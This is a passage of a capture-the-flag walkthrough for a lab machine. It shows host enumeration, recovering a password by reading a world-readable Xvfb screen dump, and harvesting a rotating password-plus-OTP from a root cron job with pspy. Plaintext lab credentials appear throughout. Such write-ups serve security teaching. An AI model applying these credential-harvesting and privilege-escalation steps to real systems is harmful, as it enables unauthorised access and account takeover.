<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:~$</span><span class="w"> </span>ip addr show eth0
<span class="go">2: eth0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:e9:37 brd ff:ff:ff:ff:ff:ff
    altname enp11s0
    altname ens192
    inet 10.129.25.147/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3158sec preferred_lft 3158sec
</span></code></pre></div></div>

<p>It seems this shell is not in a container. <code class="language-plaintext highlighter-rouge">containerd</code> is installed in <code class="language-plaintext highlighter-rouge">/opt</code>, along with a <code class="language-plaintext highlighter-rouge">scripts</code> directory only accessible to the admin user or admins group:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:/$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> opt/
<span class="go">total 8
drwx--x--x 4 root  root   4096 Oct 31  2024 containerd
drwx------ 2 admin admins 4096 Apr 25  2025 scripts
</span></code></pre></div></div>

<p>There is an <code class="language-plaintext highlighter-rouge">xorg</code> directory at the root of the filesystem. I’ll come back to that.</p>

<h4 id="processes">Processes</h4>

<p>There are a few interesting lines in the process list (<code class="language-plaintext highlighter-rouge">ps auxww</code>).</p>

<p><a href="https://sssd.io/">SSSD</a> (System Security Services Daemon) is running, which is an open source client for centralized identity and authentication. It provides access to LDAP, Active Directory, and Kerberos providers, allowing Linux machines to authenticate users against a domain controller:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">165536      3871  0.0  0.1  23412  9216 ?        Ss   16:05   0:00 /usr/sbin/sssd -i --logger=files
165536      3974  0.0  0.2  95020 22912 ?        S    16:05   0:02 /usr/libexec/sssd/sssd_be --domain sorcery.htb --uid 0 --gid 0 --logger=files
165536      4077  0.0  0.5  56680 44928 ?        S    16:05   0:01 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
165536      4078  0.0  0.1  25360 11648 ?        S    16:05   0:00 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files
165536      4079  0.0  0.1  22604  9088 ?        S    16:05   0:00 /usr/libexec/sssd/sssd_ifp --uid 0 --gid 0 --logger=files
165536      4080  0.0  0.1  22412  8448 ?        S    16:05   0:00 /usr/libexec/sssd/sssd_sudo --uid 0 --gid 0 --logger=files
165536      4081  0.0  0.1  72648 15488 ?        S    16:05   0:00 /usr/libexec/sssd/sssd_pac --uid 0 --gid 0 --logger=files
root      501922  0.0  0.1  28444 11520 ?        Ss   21:05   0:00 /usr/sbin/sssd -i --logger=files
root      501933  0.0  0.2  95444 21376 ?        S    21:05   0:01 /usr/libexec/sssd/sssd_be --domain sorcery.htb --uid 0 --gid 0 --logger=files
root      501956  0.6  0.5  61860 47360 ?        R    21:05   0:15 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root      501957  0.0  0.1  29620 13952 ?        S    21:05   0:00 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files
root      501958  0.0  0.1  27604 11008 ?        S    21:05   0:00 /usr/libexec/sssd/sssd_ssh --uid 0 --gid 0 --logger=files
root      501959  0.0  0.1  27468 10880 ?        S    21:05   0:00 /usr/libexec/sssd/sssd_sudo --uid 0 --gid 0 --logger=files
root      501960  0.0  0.2  73048 16256 ?        S    21:05   0:00 /usr/libexec/sssd/sssd_pac --uid 0 --gid 0 --logger=files
</span></code></pre></div></div>

<p>There’s some kind of identity / domain service in use with the domain <code class="language-plaintext highlighter-rouge">sorcery.htb</code>. I’ll come back to this later.</p>

<p>There are also nine <code class="language-plaintext highlighter-rouge">docker-proxy</code> processes forwarding traffic to specific ports:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">root        2585  0.0  0.0 1745440 4608 ?        Sl   10:50   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 5000 -container-ip 172.21.0.2 -container-port 5000 -use-listen-fd
root        3033  0.0  0.0 1671708 4480 ?        Sl   10:50   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 88 -container-ip 172.23.0.2 -container-port 88 -use-listen-fd
root        3040  0.0  0.0 1671708 4480 ?        Sl   10:50   0:00 /usr/bin/docker-proxy -proto udp -host-ip 127.0.0.1 -host-port 88 -container-ip 172.23.0.2 -container-port 88 -use-listen-fd
root        3046  0.0  0.0 1671708 4480 ?        Sl   10:50   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 389 -container-ip 172.23.0.2 -container-port 389 -use-listen-fd
root        3054  0.0  0.0 1745184 4352 ?        Sl   10:51   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 464 -container-ip 172.23.0.2 -container-port 464 -use-listen-fd
root        3062  0.0  0.0 1671708 4480 ?        Sl   10:51   0:00 /usr/bin/docker-proxy -proto udp -host-ip 127.0.0.1 -host-port 464 -container-ip 172.23.0.2 -container-port 464 -use-listen-fd
root        3068  0.0  0.0 1819172 4352 ?        Sl   10:51   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 636 -container-ip 172.23.0.2 -container-port 636 -use-listen-fd
root       13213  0.0  0.0 1819172 4480 ?        Sl   10:55   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 443 -container-ip 172.19.0.9 -container-port 443 -use-listen-fd
root       13221  0.0  0.0 1819172 4480 ?        Sl   10:55   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 443 -container-ip 172.19.0.9 -container-port 443 -use-listen-fd
tom_sum+  724549  0.0  0.0   4088  1920 pts/0    S+   18:03   0:00 grep docker-proxy
</span></code></pre></div></div>

<p>This is interesting because there are three hosts in different Docker networks:</p>

<table>
  <thead>
    <tr>
      <th>IP</th>
      <th>Host</th>
      <th>Ports</th>
      <th>Comment</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>172.21.0.2</td>
      <td>127.0.0.1</td>
      <td>TCP 5000</td>
      <td>Unknown</td>
    </tr>
    <tr>
      <td>172.23.0.2</td>
      <td>127.0.0.1</td>
      <td>TCP 88, 389, 464, 636<br />UDP 88, 464</td>
      <td>Kerberos and LDAP - Likely IDP related</td>
    </tr>
    <tr>
      <td>172.19.0.9</td>
      <td>0.0.0.0<br />::</td>
      <td>TCP 443</td>
      <td>Website in network already explored</td>
    </tr>
  </tbody>
</table>

<p>There’s also a process running <code class="language-plaintext highlighter-rouge">registry</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">165536      2285  0.0  0.2 729064 17800 ?        Ssl  10:50   0:03 registry serve /etc/docker/registry/config.yml
</span></code></pre></div></div>

<p>That path doesn’t exist on the main host, and the default port for Docker Registry is 5000, suggesting the host on 172.21.0.2 is running <a href="https://docs.docker.com/reference/api/registry/latest/">Docker Registry</a>. <code class="language-plaintext highlighter-rouge">curl</code> to <code class="language-plaintext highlighter-rouge">/</code> returns nothing, but <code class="language-plaintext highlighter-rouge">/v2/</code> returns an unauthorized message:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>curl localhost:5000
<span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>curl localhost:5000/v2/
<span class="go">{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":null}]}
</span></code></pre></div></div>

<p>That’s Docker Registry. I’ll come back to this.</p>

<p>tom_summers_admin seems to be running a shell script about a text editor:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">tom_sum+    1443  0.0  0.0   2800  1536 ?        Ss   16:04   0:00 /bin/sh -c /provision/cron/tom_summers_admin/text-editor.sh          
tom_sum+    1453  0.0  0.0   4752  3072 ?        S    16:04   0:00 /bin/bash /provision/cron/tom_summers_admin/text-editor.sh   
tom_sum+    1475  0.0  1.1 626640 91216 ?        Sl   16:04   0:00 /usr/bin/mousepad /provision/cron/tom_summers_admin/passwords.txt  
</span></code></pre></div></div>

<p>Seeing the mention of <code class="language-plaintext highlighter-rouge">passwords.txt</code> is also interesting. <a href="https://github.com/codebrainz/mousepad">Mousepad</a> is a lightweight GTK text editor for the Xfce desktop environment, basically the Linux equivalent of Notepad. So tom_summers_admin is running a GUI text editor with a file called <code class="language-plaintext highlighter-rouge">passwords.txt</code> open.</p>

<p>There’s also <code class="language-plaintext highlighter-rouge">Xvfb</code> running as tom_summers_admin:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">tom_sum+    1477  0.0  0.7 227012 60528 ?        S    16:04   0:00 /usr/bin/Xvfb :1 -fbdir /xorg/xvfb -screen 0 512x256x24 -nolisten local
</span></code></pre></div></div>

<p><a href="https://www.x.org/releases/X11R7.6/doc/man/man1/Xvfb.1.xhtml">Xvfb</a> (X Virtual FrameBuffer) is a display server that implements the X11 protocol entirely in memory, without any physical display. It lets graphical applications run headlessly. The <code class="language-plaintext highlighter-rouge">-fbdir /xorg/xvfb</code> flag tells it to write the raw framebuffer data to files in that directory, and <code class="language-plaintext highlighter-rouge">-screen 0 512x256x24</code> creates a 512x256 pixel screen with 24-bit color.</p>

<h3 id="recover-password">Recover Password</h3>

<p>The Xvfb framebuffer files can be read to see what’s currently on the virtual screen, which in this case hopefully will show <code class="language-plaintext highlighter-rouge">mousepad</code> with <code class="language-plaintext highlighter-rouge">passwords.txt</code>. The raw framebuffer is in <code class="language-plaintext highlighter-rouge">/xorg/xvfb</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:/xorg/xvfb$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span>
<span class="go">total 516
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Apr 18 16:04 Xvfb_screen0
</span></code></pre></div></div>

<p>It’s owned by tom_summers_admin, but world readable. I’ll copy it to my host:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> jNsMKQ6k2.XDMPu. scp tom_summers@sorcery.htb:/xorg/xvfb/Xvfb_screen0 <span class="nb">.</span>
<span class="gp">oxdf@hacky$</span><span class="w"> </span>file Xvfb_screen0 
<span class="go">Xvfb_screen0: X-Window screen dump image data, version X11, "Xvfb main.sorcery.htb:1.0", 512x256x24, 256 colors 256 entries
</span></code></pre></div></div>

<p>There are a few easy ways to view this file. <code class="language-plaintext highlighter-rouge">xwud</code> (<code class="language-plaintext highlighter-rouge">sudo apt install x11-apps</code>) will view it directly with <code class="language-plaintext highlighter-rouge">xwud -in Xvfb_screen0</code>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260418175410720.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260418175410720.png" alt="image-20260418175410720" class="include_image " />
</picture>

<p><code class="language-plaintext highlighter-rouge">convert</code> from <a href="https://imagemagick.org/">ImageMagick</a> can also make a PNG from it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>convert xwd:Xvfb_screen0 Xvfb_screen0.png
</code></pre></div></div>

<p>That works too:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/htb-sorcery-Xvfb_screen0.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/htb-sorcery-Xvfb_screen0.png" alt="" class="include_image " />
</picture>

<h3 id="su--ssh">su / SSH</h3>

<p>The password works for tom_summers_admin with <code class="language-plaintext highlighter-rouge">su</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers@main:~$</span><span class="w"> </span>su - tom_summers_admin
<span class="go">Password: 
</span><span class="gp">tom_summers_admin@main:~$</span><span class="w">
</span></code></pre></div></div>

<p>It also works over SSH:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> dWpuk7cesBjT- ssh tom_summers_admin@sorcery.htb 
<span class="go">Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
...[snip]...
</span><span class="gp">tom_summers_admin@main:~$</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="shell-as-donna_adams">Shell as donna_adams</h2>

<h3 id="enumeration-3">Enumeration</h3>

<p>tom_summers_admin isn’t in any special groups:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="nb">id</span>
<span class="go">uid=2002(tom_summers_admin) gid=2002(tom_summers_admin) groups=2002(tom_summers_admin)
</span></code></pre></div></div>

<p>Their home directory is pretty empty as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 20
drwxr-x--- 5 tom_summers_admin tom_summers_admin 4096 Oct 30  2024 .
drwxr-xr-x 7 root              root              4096 Oct 31  2024 ..
lrwxrwxrwx 1 root              root                 9 Oct 30  2024 .bash_history -&gt; /dev/null
drwx------ 4 tom_summers_admin tom_summers_admin 4096 Apr  6  2025 .cache
drwxr-xr-x 2               700 tom_summers_admin 4096 Oct 30  2024 .docker
drwx------ 3 tom_summers_admin tom_summers_admin 4096 Oct 30  2024 .local
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">.docker</code> directory does suggest some Docker activity. The <code class="language-plaintext highlighter-rouge">config.json</code> file shows:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="nb">cat</span> .docker/config.json 
<span class="go">{ "credsStore": "docker-auth" }
</span></code></pre></div></div>

<p>This tells the Docker CLI to use an external credential helper to store and retrieve registry credentials. Docker <a href="https://docs.docker.com/reference/cli/docker/login/#credential-helpers">resolves</a> a <code class="language-plaintext highlighter-rouge">credsStore</code> value by prefixing it with <code class="language-plaintext highlighter-rouge">docker-credential-</code> and looking up the resulting program name in <code class="language-plaintext highlighter-rouge">$PATH</code>:</p>

<blockquote>
  <p>The value of the config property should be the suffix of the program to use (i.e. everything after <code class="language-plaintext highlighter-rouge">docker-credential-</code>). […] Docker requires the helper program to be in the client’s host <code class="language-plaintext highlighter-rouge">$PATH</code>.</p>
</blockquote>

<p>So <code class="language-plaintext highlighter-rouge">"credsStore": "docker-auth"</code> causes the Docker CLI to invoke <code class="language-plaintext highlighter-rouge">docker-credential-docker-auth</code> whenever it needs to store or retrieve a credential. That binary is not part of a default Docker install, but custom made for this challenge:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>which docker-credential-docker-auth
<span class="go">/usr/bin/docker-credential-docker-auth
</span><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span> /usr/bin/docker-credential-docker-auth
<span class="go">-rwxr-x--- 1 rebecca_smith tom_summers_admin 67189841 Apr  6  2025 /usr/bin/docker-credential-docker-auth
</span><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span>file /usr/bin/docker-credential-docker-auth
<span class="go">/usr/bin/docker-credential-docker-auth: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80b42387c3bddabffe562898e3136c7d5958ac38, stripped
</span></code></pre></div></div>

<p>Owned by rebecca_smith with group tom_summers_admin, allowing tom_summers_admin to read and execute it but not modify it. The ~67 MB size suggests that either this binary has a lot of complex functionality, or it contains a bundled runtime (typical of self-contained .NET or Go binaries).</p>

<p>tom_summers_admin can run two commands as rebecca_smith with <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for tom_summers_admin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tom_summers_admin may run the following commands on localhost:
    (rebecca_smith) NOPASSWD: /usr/bin/docker login
    (rebecca_smith) NOPASSWD: /usr/bin/strace -s 128 -p [0-9]*
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">strace</code> allows for one process to trace another, observing and intercepting system calls (syscalls).</p>

<p><code class="language-plaintext highlighter-rouge">docker login</code> allows connecting to a Docker registry, using the credentials at <code class="language-plaintext highlighter-rouge">~/.docker/config.json</code>. Trying out <code class="language-plaintext highlighter-rouge">docker login</code> fails:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">tom_summers_admin@main:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-u</span> rebecca_smith docker login
<span class="go">This account might be protected by two-factor authentication
In case login fails, try logging in with &lt;password&gt;&lt;otp&gt;
Authenticating with existing credentials... [Username: rebecca_smith]

i Info → To login with a different account, run 'docker logout' followed by 'docker login'


Login did not succeed, error: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/auth": dial unix /var/run/docker.sock: connect: permission denied
Failed to start web-based login - falling back to command line login...

Log in with your Docker ID or email address to push and pull images from Docker Hub. If you don't have a Docker ID, head over to https://hub.docker.com/ to create one.
You can log in with your password or a Personal Access Token (PAT). Using a limited-scope PAT grants better security and is required for organizations using SSO. Learn more at https://docs.docker.com/go/access-tokens/

Username (rebecca_smith):
</span></code></pre></div></div>

<p>It is failing trying to connect to the Docker socket. The output does show that it’s trying to connect as rebecca_smith, attempted to login, but didn’t succeed.</p>

<p>I’ll upload <a href="https://github.com/DominicBreuker/pspy">pspy</a> and watch what happens when I run <code class="language-plaintext highlighter-rouge">sudo -u rebecca_smith docker login</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">2026/04/19 17:45:47 CMD: UID=2003  PID=694726 | sudo -u rebecca_smith docker login 
2026/04/19 17:45:47 CMD: UID=2003  PID=694735 | docker-credential-docker-auth get 
2026/04/19 17:45:47 CMD: UID=2003  PID=694743 | docker-credential-docker-auth store 
</span></code></pre></div></div>

<p>It’s calling <code class="language-plaintext highlighter-rouge">docker-credential-docker-auth</code> twice, once to <code class="language-plaintext highlighter-rouge">get</code>, and once to <code class="language-plaintext highlighter-rouge">store</code>.</p>

<h3 id="docker-registry-authentication">Docker Registry Authentication</h3>

<h4 id="paths">Paths</h4>

<p>I originally found the password and OTP using PSpy, but later learned that that was not intended. I’ll show both:</p>

<pre><code class="language-mermaid">flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] ---&gt;|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] ---&gt;|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as tom_summers_admin]--&gt;B(&lt;a href='#password--otp-recovery-via-pspy'&gt;PSpy&lt;/a&gt;);
    B--&gt;C[&lt;a href='#authenticate-to-docker-registry'&gt;Docker Registry\nAuthentication&lt;/a&gt;];
    A--&gt;D(&lt;a href='#password-recovery-via-strace'&gt;strace&lt;/a&gt;);
    D--&gt;E(&lt;a href='#otp-recovery-via-re'&gt;Reverse Binary&lt;/a&gt;);
    E--&gt;C;

linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
linkStyle 0,4,5,6 stroke-width:2px,stroke:#FFFF99,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
</code></pre>

<h4 id="password--otp-recovery-via-pspy">Password + OTP Recovery via PSpy</h4>

<p>There is a cron running every minute that calls <code class="language-plaintext highlighter-rouge">/provision/cron/root/otp.sh</code>. PSpy never catches all the parts at the same time, but it seems to:</p>

<ul>
  <li>Call <code class="language-plaintext highlighter-rouge">/provision/cron/root/otp-generator</code>.</li>
  <li>Call <code class="language-plaintext highlighter-rouge">cat /provision/cron/root/rebecca_password.txt</code>.</li>
  <li>Call <code class="language-plaintext highlighter-rouge">htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg229732</code></li>
</ul>

<p>Judging by the names, it seems that each minute the OTP generator is called, combined with the static password for rebecca_smith, and passed to <code class="language-plaintext highlighter-rouge">htpasswd</code>. <code class="language-plaintext highlighter-rouge">htpasswd</code> will hash the password into the required format using the following args:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-B</code> - Use bcrypt hashing for passwords.</li>
  <li><code class="language-plaintext highlighter-rouge">-b</code> - Use batch mode; <em>i.e.</em>, get the password from the command line rather than prompting for it.</li>
  <li><code class="language-plaintext highlighter-rouge">-c</code> - Create the output file if it doesn’t exist, overwrite it if it does.</li>
  <li><code class="language-plaintext highlighter-rouge">../registry.password</code> - The output file.</li>
  <li><code class="language-plaintext highlighter-rouge">rebecca_smith</code> - The username.</li>
  <li><code class="language-plaintext highlighter-rouge">-7eAZDp9-f9mg229732</code> - The password.</li>
</ul>

<p>I let PSpy capture for almost four hours, and it caught the <code class="language-plaintext highlighter-rouge">htpasswd</code> call 30 times:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">2026/04/19 13:15:01 CMD: UID=0     PID=244967 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg699914
2026/04/19 13:20:01 CMD: UID=0     PID=253287 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg270098
2026/04/19 13:32:01 CMD: UID=0     PID=273242 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg740280
2026/04/19 14:04:01 CMD: UID=0     PID=326450 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg229732
2026/04/19 14:20:01 CMD: UID=0     PID=353050 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg270098
2026/04/19 14:31:01 CMD: UID=0     PID=371315 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg740280
2026/04/19 14:34:01 CMD: UID=0     PID=376317 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg740280
2026/04/19 14:53:01 CMD: UID=0     PID=407870 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg780645
2026/04/19 14:56:01 CMD: UID=0     PID=412796 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg780645
2026/04/19 15:10:01 CMD: UID=0     PID=436132 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg699914
2026/04/19 15:21:01 CMD: UID=0     PID=454338 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg270098
2026/04/19 15:27:01 CMD: UID=0     PID=464270 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg270098
2026/04/19 15:31:01 CMD: UID=0     PID=470907 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg740280
2026/04/19 15:38:01 CMD: UID=0     PID=482524 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg740280
2026/04/19 15:50:01 CMD: UID=0     PID=502477 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg780645
2026/04/19 15:51:01 CMD: UID=0     PID=504148 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg780645
2026/04/19 15:58:01 CMD: UID=0     PID=515771 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg780645
2026/04/19 16:00:01 CMD: UID=0     PID=519042 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg229732
2026/04/19 16:10:02 CMD: UID=0     PID=535750 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg699914
2026/04/19 16:12:01 CMD: UID=0     PID=539036 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg699914
2026/04/19 16:20:01 CMD: UID=0     PID=552396 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg270098
2026/04/19 16:30:01 CMD: UID=0     PID=568996 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg740280
2026/04/19 16:35:01 CMD: UID=0     PID=577310 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg740280
2026/04/19 16:37:01 CMD: UID=0     PID=580599 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg740280
2026/04/19 16:40:01 CMD: UID=0     PID=585613 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg310463
2026/04/19 16:44:02 CMD: UID=0     PID=592232 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg310463
2026/04/19 16:47:01 CMD: UID=0     PID=597197 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg310463
2026/04/19 16:51:01 CMD: UID=0     PID=603851 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg780645
2026/04/19 17:01:02 CMD: UID=0     PID=620520 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg229732
2026/04/19 17:05:01 CMD: UID=0     PID=627170 | htpasswd -Bbc /home/vagrant/source/registry/auth/registry.password rebecca_smith -7eAZDp9-f9mg229732
</span></code></pre></div></div>

<p>Based on the times, it seems clear this runs every minute. Catching 30 out of 230 means it catches it ~13% of the time.</p>

<p>The password is changing, but it is not different every time:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>13:15:01 -7eAZDp9-f9mg699914
13:20:01 -7eAZDp9-f9mg270098
13:32:01 -7eAZDp9-f9mg740280
14:04:01 -7eAZDp9-f9mg229732
14:20:01 -7eAZDp9-f9mg270098
14:31:01 -7eAZDp9-f9mg740280
14:34:01 -7eAZDp9-f9mg740280
14:53:01 -7eAZDp9-f9mg780645
14:56:01 -7eAZDp9-f9mg780645
15:10:01 -7eAZDp9-f9mg699914
15:21:01 -7eAZDp9-f9mg270098
15:27:01 -7eAZDp9-f9mg270098
15:31:01 -7eAZDp9-f9mg740280
15:38:01 -7eAZDp9-f9mg740280
15:50:01 -7eAZDp9-f9mg780645
15:51:01 -7eAZDp9-f9mg780645
15:58:01 -7eAZDp9-f9mg780645
16:00:01 -7eAZDp9-f9mg229732
16:10:02 -7eAZDp9-f9mg699914
16:12:01 -7eAZDp9-f9mg699914
16:20:01 -7eAZDp9-f9mg270098
16:30:01 -7eAZDp9-f9mg740280
16:35:01 -7eAZDp9-f9mg740280
16:37:01 -7eAZDp9-f9mg740280
16:40:01 -7eAZDp9-f9mg310463
16:44:02 -7eAZDp9-f9mg310463
16:47:01 -7eAZDp9-f9mg310463
16:51:01 -7eAZDp9-f9mg780645
17:01:02 -7eAZDp9-f9mg229732
17:05:01 -7eAZDp9-f9mg229732
</code></pre></div></div>

<p>That shows that the password is really a static password, plus a six digit OTP. Looking at the different captured passwords, there are only six unique OTPs:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      4 -7eAZDp9-f9mg229732
      5 -7eAZDp9-f9mg270098
      3 -7eAZDp9-f9mg310463
      4 -7eAZDp9-f9mg699914
      8 -7eAZDp9-f9mg740280
      6 -7eAZDp9-f9mg780645
</code></pre></div></div>

<p>Looking even more closely, the OTP only changes every 10 minutes. When two commands have the same tens digit in the minute, they have the same password. I can know the OTP just by looking at the current minute value:</p>

<table>
  <thead>
    <tr>
      <th>Minute</th>
      <th>OTP</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0-9</td>
      <td>229732</td>
    </tr>
    <tr>
      <td>10-19</td>
      <td>699914</td>
    </tr>
    <tr>
      <td>20-29</td>
      <td>270098</td>
    </tr>
    <tr>
      <td>30-39</td>
      <td>740280</td>
    </tr>
    <tr>
      <td>40-49</td>
      <td>310463</td>
    </tr>
    <tr>
      <td>50-59</td>
      <td>780645</td>
    </tr>
  </tbody>
</table>

<p>Even if I didn’t want to capture processes for four hours, I could easily watch PSpy until I found this call, and then use it for the short term until it rolls at the next ten-minute rotation.</p>

<h4 id="password-recovery-via-strace">Password Recovery via strace</h4>

